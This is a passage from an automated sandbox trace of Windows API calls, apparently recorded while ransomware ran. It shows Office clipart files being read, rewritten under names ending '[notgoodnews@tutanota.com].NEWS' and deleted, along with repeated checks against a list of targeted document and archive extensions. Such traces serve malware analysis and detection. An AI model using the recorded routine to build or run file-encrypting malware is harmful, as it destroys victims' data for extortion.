(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.031] GetLastError () returned 0x0 [0093.031] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x45be, lpOverlapped=0x0) returned 1 [0093.032] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0093.034] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.034] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.034] SetEndOfFile (hFile=0x39c) returned 1 [0093.034] CloseHandle (hObject=0x39c) returned 1 [0093.034] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.034] SetEndOfFile (hFile=0x330) returned 1 [0093.035] CloseHandle (hObject=0x330) returned 1 [0093.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0093.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.036] lstrlenW (lpString=".doc") returned 4 [0093.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString=".docx") returned 5 [0093.036] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0093.036] lstrlenW (lpString=".pdf") returned 4 [0093.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString=".xls") returned 4 [0093.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.036] lstrlenW (lpString=".xlsx") returned 5 [0093.036] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0093.036] lstrlenW (lpString=".ppt") returned 4 [0093.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.036] lstrlenW (lpString=".zip") returned 4 [0093.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.036] lstrlenW (lpString=".rar") returned 4 [0093.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString=".bz2") returned 4 [0093.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString=".7z") returned 3 [0093.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.036] lstrlenW (lpString=".dbf") returned 4 [0093.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.036] lstrlenW (lpString=".1cd") returned 4 [0093.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.036] lstrlenW (lpString=".jpg") returned 4 [0093.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.036] lstrlenW (lpString=".doc") returned 4 [0093.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.036] lstrlenW (lpString=".docx") returned 5 [0093.036] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0093.036] lstrlenW (lpString=".pdf") returned 4 [0093.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.037] lstrlenW (lpString=".xls") returned 4 [0093.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.037] lstrlenW (lpString=".xlsx") returned 5 [0093.037] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0093.037] lstrlenW (lpString=".ppt") returned 4 [0093.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.037] lstrlenW (lpString=".zip") returned 4 [0093.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.037] lstrlenW (lpString=".rar") returned 4 [0093.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.037] lstrlenW (lpString=".bz2") returned 4 [0093.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.037] lstrlenW (lpString=".7z") returned 3 [0093.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.037] lstrlenW (lpString=".dbf") returned 4 [0093.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.037] lstrlenW (lpString=".1cd") returned 4 [0093.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0093.037] lstrlenW (lpString=".jpg") returned 4 [0093.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.037] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.037] lstrlenW (lpString="J0101856.BMP") returned 12 [0093.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.038] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=78840) returned 1 [0093.038] CloseHandle (hObject=0x330) returned 1 [0093.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0093.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.038] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.038] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.039] GetLastError () returned 0x0 [0093.039] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x133f8, lpOverlapped=0x0) returned 1 [0093.385] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13400, lpOverlapped=0x0) returned 1 [0093.388] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.388] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.388] SetEndOfFile (hFile=0x39c) returned 1 [0093.388] CloseHandle (hObject=0x39c) returned 1 [0093.388] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.388] SetEndOfFile (hFile=0x330) returned 1 [0093.389] CloseHandle (hObject=0x330) returned 1 [0093.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0093.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.426] lstrlenW (lpString=".doc") returned 4 [0093.426] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.426] lstrlenW (lpString=".docx") returned 5 [0093.426] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0093.426] lstrlenW (lpString=".pdf") returned 4 [0093.426] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.426] lstrlenW (lpString=".xls") returned 4 [0093.426] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.426] lstrlenW (lpString=".xlsx") returned 5 [0093.426] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0093.426] lstrlenW (lpString=".ppt") returned 4 [0093.426] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.426] lstrlenW (lpString=".zip") returned 4 [0093.426] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.426] lstrlenW (lpString=".rar") returned 4 [0093.426] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.426] lstrlenW (lpString=".bz2") returned 4 [0093.426] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.426] lstrlenW (lpString=".7z") returned 3 [0093.426] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.426] lstrlenW (lpString=".dbf") returned 4 [0093.426] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString=".1cd") returned 4 [0093.427] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString=".jpg") returned 4 [0093.427] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString=".doc") returned 4 [0093.427] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString=".docx") returned 5 [0093.427] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0093.427] lstrlenW (lpString=".pdf") returned 4 [0093.427] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString=".xls") returned 4 [0093.427] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString=".xlsx") returned 5 [0093.427] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0093.427] lstrlenW (lpString=".ppt") returned 4 [0093.427] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString=".zip") returned 4 [0093.427] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString=".rar") returned 4 [0093.427] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString=".bz2") returned 4 [0093.427] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString=".7z") returned 3 [0093.427] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString=".dbf") returned 4 [0093.427] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString=".1cd") returned 4 [0093.427] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0093.427] lstrlenW (lpString=".jpg") returned 4 [0093.428] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.428] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.428] lstrlenW (lpString="J0103262.WMF") returned 12 [0093.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.428] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=12900) returned 1 [0093.428] CloseHandle (hObject=0x330) returned 1 [0093.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0093.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.428] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.428] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.429] GetLastError () returned 0x0 [0093.429] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3264, lpOverlapped=0x0) returned 1 [0093.430] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3270, lpOverlapped=0x0) returned 1 [0093.432] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.432] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.432] SetEndOfFile (hFile=0x39c) returned 1 [0093.432] CloseHandle (hObject=0x39c) returned 1 [0093.432] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.432] SetEndOfFile (hFile=0x330) returned 1 [0093.433] CloseHandle (hObject=0x330) returned 1 [0093.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0093.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.434] lstrlenW (lpString=".doc") returned 4 [0093.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.434] lstrlenW (lpString=".docx") returned 5 [0093.434] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.434] lstrlenW (lpString=".pdf") returned 4 [0093.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.434] lstrlenW (lpString=".xls") returned 4 [0093.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.434] lstrlenW (lpString=".xlsx") returned 5 [0093.434] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.434] lstrlenW (lpString=".ppt") returned 4 [0093.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.434] lstrlenW (lpString=".zip") returned 4 [0093.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.434] lstrlenW (lpString=".rar") returned 4 [0093.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.434] lstrlenW (lpString=".bz2") returned 4 [0093.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.434] lstrlenW (lpString=".7z") returned 3 [0093.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.434] lstrlenW (lpString=".dbf") returned 4 [0093.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.434] lstrlenW (lpString=".1cd") returned 4 [0093.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.434] lstrlenW (lpString=".jpg") returned 4 [0093.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.435] lstrlenW (lpString=".doc") returned 4 [0093.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString=".docx") returned 5 [0093.435] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.435] lstrlenW (lpString=".pdf") returned 4 [0093.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString=".xls") returned 4 [0093.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.435] lstrlenW (lpString=".xlsx") returned 5 [0093.435] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.435] lstrlenW (lpString=".ppt") returned 4 [0093.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.435] lstrlenW (lpString=".zip") returned 4 [0093.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.435] lstrlenW (lpString=".rar") returned 4 [0093.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString=".bz2") returned 4 [0093.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString=".7z") returned 3 [0093.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.435] lstrlenW (lpString=".dbf") returned 4 [0093.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.435] lstrlenW (lpString=".1cd") returned 4 [0093.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0093.435] lstrlenW (lpString=".jpg") returned 4 [0093.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.436] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.436] lstrlenW (lpString="J0103402.WMF") returned 12 [0093.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.436] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=44948) returned 1 [0093.436] CloseHandle (hObject=0x330) returned 1 [0093.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0093.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.437] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.437] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.438] GetLastError () returned 0x0 [0093.438] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, 